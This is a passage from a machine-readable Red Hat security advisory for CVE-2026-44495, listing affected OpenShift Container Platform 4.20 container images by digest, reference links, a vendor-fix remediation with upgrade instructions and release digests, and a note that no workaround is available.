"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44495"
},
{
"category": "external",
"summary": "RHBZ#2487937",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487937"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44495",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44495"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44495",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44495"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw"
}
],
"release_date": "2026-06-11T15:33:12.433000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:26:48+00:00",
"details": "For OpenShift Container Platform 4.20 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:5a2bec1f74236deb9519ab5232146c57d2afdb8f8db6773abbb50027150eb8ad\n\n (For s390x architecture)\n The image digest is sha256:168bf6fa86ad2dae55203e833352d47a1284c4db4f42a87bfe8555da97a4f5b3\n\n (For ppc64le architecture)\n The image digest is sha256:df8f0087646c952daae01c4f5ab625bdb95b317cfa790f6841309e8d131c6f89\n\n (For aarch64 architecture)\n The image digest is sha256:2e98640a8f567bb8aeab95719d0fea4048658e7edb093377d9ca08262d4e53f0\n\nAll OpenShift Container Platform 4.20 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
